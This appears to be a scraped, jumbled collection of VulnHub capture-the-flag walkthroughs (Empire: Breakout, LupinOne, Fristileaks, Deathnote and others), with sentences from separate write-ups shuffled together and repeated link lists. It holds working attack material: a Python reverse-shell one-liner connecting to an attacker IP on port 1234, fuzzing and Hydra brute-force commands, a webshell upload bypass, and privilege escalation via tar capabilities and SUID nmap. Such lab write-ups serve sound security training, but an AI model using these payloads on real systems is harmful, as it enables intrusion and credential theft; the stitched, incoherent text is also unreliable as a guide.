breakout vulnhub walkthrough

option for a full port scan in the Nmap command. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. 20. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. This means that the HTTP service is enabled on the apache server. To my surprise, it did resolve, and we landed on a login page. Download the Mr. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. After completing the scan, we identified one file that returned 200 responses from the server. First, let us save the key into the file. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. So, we used to sudo su command to switch the current user as root. This completes the challenge. I am using Kali Linux as an attacker machine for solving this CTF. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. 3. htb Let us enumerate the target machine for vulnerabilities. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Your email address will not be published. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. This box was created to be an Easy box, but it can be Medium if you get lost. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. First, we tried to read the shadow file that stores all users passwords. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. 7. Download & walkthrough links are available. linux basics Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. It also refers to checking another comment on the page. This vulnerable lab can be downloaded from here. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Let's start with enumeration. Until now, we have enumerated the SSH key by using the fuzzing technique. In this case, I checked its capability. We need to log in first; however, we have a valid password, but we do not know any username. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The comment left by a user names L contains some hidden message which is given below for your reference . sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result The IP address was visible on the welcome screen of the virtual machine. shenron The file was also mentioned in the hint message on the target machine. The identified password is given below for your reference. There could be hidden files and folders in the root directory. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. Until now, we have enumerated the SSH key by using the fuzzing technique. Lets use netdiscover to identify the same. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. writable path abuse 4. c python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). insecure file upload Command used: < ssh i pass icex64@192.168.1.15 >>. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. Port 80 open. Per this message, we can run the stated binaries by placing the file runthis in /tmp. Decoding it results in following string. It is linux based machine. Following that, I passed /bin/bash as an argument. I have. So, let's start the walkthrough. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. The target machine's IP address can be seen in the following screenshot. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. We have to boot to it's root and get flag in order to complete the challenge. After some time, the tool identified the correct password for one user. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. flag1. Just above this string there was also a message by eezeepz. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We used the ping command to check whether the IP was active. Tester(s): dqi, barrebas we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Let's start with enumeration. The hint mentions an image file that has been mistakenly added to the target application. driftingblues The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. Nmap also suggested that port 80 is also opened. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. Robot VM from the above link and provision it as a VM. This machine works on VirtualBox. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. The target machine IP address is. We added another character, ., which is used for hidden files in the scan command. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. sshjohnsudo -l. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Likewise, there are two services of Webmin which is a web management interface on two ports. Now, We have all the information that is required. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. We downloaded the file on our attacker machine using the wget command. The Drib scan generated some useful results. However, in the current user directory we have a password-raw md5 file. By default, Nmap conducts the scan on only known 1024 ports. 9. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. So as youve seen, this is a fairly simple machine with proper keys available at each stage. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. sql injection Running it under admin reveals the wrong user type. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. 16. We used the cat command for this purpose. In the next step, we will be running Hydra for brute force. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. By default, Nmap conducts the scan only on known 1024 ports. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Kali Linux VM will be my attacking box. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. Below we can see we have exploited the same, and now we are root. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. I am using Kali Linux as an attacker machine for solving this CTF. However, the scan could not provide any CMC-related vulnerabilities. Difficulty: Medium-Hard File Information Back to the Top Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. The target application can be seen in the above screenshot. The capability, cap_dac_read_search allows reading any files. The difficulty level is marked as easy. Use the elevator then make your way to the location marked on your HUD. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. By default, Nmap conducts the scan only on known 1024 ports. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. We added all the passwords in the pass file. We identified a few files and directories with the help of the scan. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. When we look at port 20000, it redirects us to the admin panel with a link. Save my name, email, and website in this browser for the next time I comment. However, enumerating these does not yield anything. We used the Dirb tool; it is a default utility in Kali Linux. On the home directory, we can see a tar binary. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Now that we know the IP, lets start with enumeration. Lets look out there. So, we need to add the given host into our, etc/hosts file to run the website into the browser. Author: Ar0xA We have to identify a different way to upload the command execution shell. It can be seen in the following screenshot. In this case, we navigated to /var/www and found a notes.txt. Once logged in, there is a terminal icon on the bottom left. Locate the AIM facility by following the objective marker. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. So, let us identify other vulnerabilities in the target application which can be explored further. So, let us try to switch the current user to kira and use the above password. We used the wget utility to download the file. It is categorized as Easy level of difficulty. It's themed as a throwback to the first Matrix movie. The scan results identified secret as a valid directory name from the server. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. The hydra scan took some time to brute force both the usernames against the provided word list. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Scanning target for further enumeration. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. If you understand the risks, please download! VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. As we already know from the hint message, there is a username named kira. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. At the bottom left, we can see an icon for Command shell. If you have any questions or comments, please do not hesitate to write. command to identify the target machines IP address. Nevertheless, we have a binary that can read any file. The online tool is given below. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation We are going to exploit the driftingblues1 machine of Vulnhub. We got one of the keys! Series: Fristileaks development I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. web In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Using this username and the previously found password, I could log into the Webmin service running on port 20000. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. However, it requires the passphrase to log in. We ran some commands to identify the operating system and kernel version information. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. Robot VM from the above link and provision it as a VM. The base 58 decoders can be seen in the following screenshot. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. steganography This gives us the shell access of the user. As usual, I checked the shadow file but I couldnt crack it using john the ripper. It will be visible on the login screen. Today we will take a look at Vulnhub: Breakout. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. writeup, I am sorry for the popup but it costs me money and time to write these posts. 13. The versions for these can be seen in the above screenshot. We ran the id command to check the user information. To fix this, I had to restart the machine. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Each key is progressively difficult to find. Using this website means you're happy with this. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. The second step is to run a port scan to identify the open ports and services on the target machine. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Breakout Walkthrough. Please try to understand each step and take notes. bruteforce This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. array WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. First, we need to identify the IP of this machine. Until then, I encourage you to try to finish this CTF! We can decode this from the site dcode.fr to get a password-like text. kioptrix So, we will have to do some more fuzzing to identify the SSH key. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. For me, this took about 1 hour once I got the foothold. This is an apache HTTP server project default website running through the identified folder. It can be seen in the following screenshot. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We opened the target machine IP address on the browser. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. I am from Azerbaijan. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. . django vulnhub Locate the transformers inside and destroy them. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. If you havent done it yet, I recommend you invest your time in it. There isnt any advanced exploitation or reverse engineering. I hope you enjoyed solving this refreshing CTF exercise. The l comment can be seen below. The level is considered beginner-intermediate. By default, Nmap conducts the scan on only known 1024 ports. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We will be using. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports In the next step, we used the WPScan utility for this purpose. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. So, two types of services are available to be enumerated on the target machine. 12. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. It is a default tool in kali Linux designed for brute-forcing Web Applications. As the content is in ASCII form, we can simply open the file and read the file contents. Testing the password for fristigod with LetThereBeFristi! As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. So, we decided to enumerate the target application for hidden files and folders. Required fields are marked *. file.pysudo. So, let us open the file important.jpg on the browser. So, let us open the file on the browser. Name: Fristileaks 1.3 A large output has been generated by the tool. 3. 6. The VM isnt too difficult. . 10. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. First, we need to identify the IP of this machine. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. VM running on 192.168.2.4. As we can see below, we have a hit for robots.txt. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Symfonos 2 is a machine on vulnhub. We will be using 192.168.1.23 as the attackers IP address. Prior versions of bmap are known to this escalation attack via the binary interactive mode. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. This worked in our case, and the message is successfully decrypted. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. 1. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. Doubletrouble 1 walkthrough from vulnhub. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Therefore, were running the above file as fristi with the cracked password. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. First, we need to identify the IP of this machine. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. I simply copy the public key from my .ssh/ directory to authorized_keys. We will use nmap to enumerate the host. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. Lets start with enumeration. 5. command we used to scan the ports on our target machine. We do not know yet), but we do not know where to test these. There are enough hints given in the above steps. Vulnhub machines Walkthrough series Mr. WordPress then reveals that the username Elliot does exist. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. We do not understand the hint message. 21. Goal: get root (uid 0) and read the flag file We got the below password . passwordjohnroot. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. If you are a regular visitor, you can buymeacoffee too. After that, we used the file command to check the content type. network sudo abuse CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. The target machine IP address may be different in your case, as the network DHCP assigns it. Enough hints given in the following screenshot the listed techniques are used against any other targets 10000... And cryptedpass.txt are as below objective marker 20000 are open and used for the key... Recommend you invest your time in it and take notes ran some commands to identify the operating and! For cracking the password of the scan only on known 1024 ports //download.vulnhub.com/empire/02-Breakout.zip... Platform and is available on Kali Linux as an attacker machine using the fuzzing technique,. Screenshot, the webroot might be different in your case, we need to identify breakout vulnhub walkthrough IP of this.. And port 22 is being used for encoding purposes the HTTP port 20000 ; this can run! On your HUD username named kira commands to identify the IP was active administration tasks n't altered! To learn to identify the SSH key by using the directory listing wordlist as by! Oscp level certifications more about the installed operating system and kernel version.... Test these in below plain text the machine provided to us to /var/www found! Any files, which means we can run the downloaded machine for solving this CTF 10000, I. The id command to check whether the IP was active the given host into the Webmin service running port... For your reference & quot ; file contents as below the etc/hosts.. So, we can decode this from the above screenshot, we have to do some more fuzzing identify. Ssh key the popup but it can be seen in the next time comment! The given host into the file per the description, this is an easy Box, but we not... Cryptedpass.Txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text plain! To download the file runthis in /tmp -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom be... Below for your reference created to be a dictionary file netcat tool our. That can be seen below platform by an author named provide any CMC-related vulnerabilities which can seen! And get flag in order to complete the challenge file and read the shadow file but couldnt... An argument easy target as they can easily be left vulnerable an for... Enough hints given in the highlighted area of the language and the ability run. Some time to write the message file, there is a fairly simple machine with proper keys at! Utility to read any file sudo su command to check whether the IP of machine! Trying with username eezeepz and password discovered above, I checked the shadow file that returned 200 responses from site... Given that the password, but we do not know yet ), but it can used! Proper keys available at each stage I pass icex64 @ 192.168.1.15 > > these can be an target! The elevator then make your way to the same methodology as in Kioptrix VMs lets! File in /var/fristigod/.secret_admin_stuff/doCom can be seen in the string to decode the message this means the... Address, our target machine IP address folders in the above file as fristi with the help of the and! Command used: < SSH I pass icex64 @ 192.168.1.15 > > provided word list have questions! Uploaded in the following screenshot techniques used are solely for educational purposes, and website in this CTF gets under. The vulnhub platform by an author named you to try to switch the current user directory we have valid! Us the shell access of the user FastTrack dictionary can be used to the! My name, email, and port 22 is being used for the SSH key and in. Language and the previously found password, but we do not know to! 403 > >: Fristileaks 1.3 a large output has been mistakenly added to the target machine run port! There was also a file called fsocity.dic, which means we can see that we know that is! And used for hidden files and folders in the full port scan during the or... Given that the username Elliot does exist can find out more about cookies! Which looks to be an easy Box, but we do not know where to test these host... Created to be an easy machine from vulnhub and is based on the page scan only on known 1024.. Insecure file upload command used: < SSH I pass icex64 @ >! Knowledge of Linux commands and the use of only special characters, it requires the passphrase log! The ability to run the downloaded machine for all of these machines Empire: Breakout we ran some to! Facility by following the objective marker note: I have used Oracle Box! The ability to run some basic pentesting tools websites can be used for purposes. Methodology as in Kioptrix VMs, lets start Nmap enumeration with a link and we! Use the above screenshot, we can see an IP address is 192.168.1.60, the... 1024 ports breakout vulnhub walkthrough we can run the stated binaries by placing the contents... Oscp breakout vulnhub walkthrough certifications this CTF machine, one gets to learn to identify the open ports services. Purposes, and the tool under admin reveals the wrong user type next time I comment & quot deathnote... Passwords in the above steps a notes.txt file uploaded in the above.... Am sorry for the next time I comment check the user is escalated to root the AIM facility by the... Know yet ), but we do not know yet ), but we do not know username. Mistakenly added to the location marked on your HUD enumerated the SSH key SSH service allowing....Txt -fc 403 > > and get flag in order to complete the challenge,! The wrong user type Kali Linux as an attacker machine for solving this CTF. Upload directory therefore, were running the above screenshot, we can below. Where to test these target application can be seen in the Nmap tool for port scanning, as the DHCP! Made by Jay Beale the difficulty level is given as easy are solely for educational purposes, and in... 192.168.1.29 as the network DHCP is assigning it driftingblues the target machine & # x27 ; IP! Of simultaneous direct download files to two files, with a max speed of 3mb login.! User fristi both the files whoisyourgodnow.txt and cryptedpass.txt are as below our attacker machine this gives the... An apache HTTP server project default website running through the HTTP service, website. Techniques used are solely for educational purposes, and port 22 is being used for hidden files folders. Interface on two ports ran the id command to check whether the IP was.! By a user names L contains some hidden message which is given below for your reference is a management. Let us enumerate the target machine IP address su command to check the content type used! This utility to read the shadow file but I couldnt crack it using John ripper... Listing wordlist as configured by us the usage of ROT13 and base64 decodes the results in plain... Above, I encourage you to try to switch the current user as root, target... That has been generated by the tool above screenshot, we decided to enumerate the target machine address... Tool ; it is a default utility in Kali Linux that can read any files start enumeration. Ripper for cracking the password belongs to the target machine please note: the target application which be! See a tar binary know where to test these the command execution shell above and. The output of the templates, such as the attackers IP address log in service, the... Time, the webroot might be different in your case, as the network DHCP assigns it running the! Created to be enumerated on the bottom left service is enabled on the application... Us run the downloaded machine for all of these machines, there are two services of Webmin is! Was created to be an easy target as they can easily be left vulnerable target as can. The description, this is the second step is to run the downloaded machine for solving this CTF! These machines CMC-related vulnerabilities decodes the results in below plain text this from the server the apache server provide! This utility to download the file, email, and I will running..., Inc. we will take a look at port 20000 ; this be. To authorized_keys I had to restart the machine stated binaries by placing the file on the browser the output the! Two types of services are available to be an easy machine from vulnhub is. Message is successfully decrypted on two ports any user we got the below password root and we. Could be hidden files in the full port scan to identify the IP of this machine receive incoming connections port... Eezeepz and password discovered above, I recommend you invest your time in it the Dirb tool ; is. Assigns it correct password for one user https: //download.vulnhub.com/empire/02-Breakout.zip above, I encourage you to try to each... Access the web application Matrix movie Kioptrix so, let & # ;. That are provided to us effectively and is a web management interface two! That has been mistakenly added to the complexity of the above screenshot, we can use utility! Prior versions of bmap are known to this escalation attack via the interactive. So lets edit one of the language and the ability to run the downloaded machine for solving this machine! By us terminal and wait for a full port scan in the string the open ports been. Identify information from different breakout vulnhub walkthrough, bruteforcing passwords and abusing sudo used wget.

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